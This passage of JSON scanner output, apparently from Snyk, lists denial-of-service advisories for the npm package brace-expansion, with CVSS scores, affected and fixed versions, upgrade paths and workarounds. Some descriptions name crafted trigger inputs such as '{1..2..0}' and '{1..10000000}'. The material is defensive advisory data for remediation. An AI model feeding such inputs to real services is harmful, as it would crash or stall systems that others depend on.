"type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { 